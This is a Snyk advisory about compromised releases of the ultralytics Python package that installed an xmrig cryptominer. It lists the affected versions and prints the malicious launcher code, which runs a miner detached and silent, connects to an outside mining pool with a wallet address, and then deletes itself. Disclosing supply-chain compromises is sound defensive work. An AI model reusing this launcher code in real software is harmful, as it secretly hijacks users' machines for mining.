Malicious Embedded Code Affecting ultralytics package, versions [8.3.41,8.3.43)[8.3.45,8.3.47)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-ULTRALYTICS-8492063
  • published8 Dec 2024
  • disclosed5 Dec 2024
  • creditUnknown

Introduced: 5 Dec 2024

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)

How to fix?

Avoid using all malicious instances of the ultralytics package.

Overview

ultralytics is an Ultralytics YOLOv8 for SOTA object detection, multi-object tracking, instance segmentation, pose estimation and image classification.

Affected versions of this package are vulnerable to Malicious Embedded Code. These versions have been compromised to install an xmrig cryptominer when installed from PyPI (e.g. via default pip options, without specifying a git URL).

The affected versions are: 8.3.41, 8.3.42, 8.3.45, 8.3.46

All previous versions from both PyPI and GitHub (up to and including 8.3.40) are not affected by this compromise. Additionally, 8.3.47 was released to PyPI manually to bypass the deployment steps which had been compromised in the malicious versions and is confirmed safe with respect to this issue.

PoC

Malicious code snippet:

def safe_run(path):
    os.chmod(path, 0o770)
    command = [
        path,
        '-u',
        '4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
        '-o',
        'connect.consrensys.com:8080',
        '-k'
    ]
    process = subprocess.Popen(
        command,
        stdin=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
        close_fds=True
    )
    os.remove(path)

CVSS Scores

version 4.0
version 3.1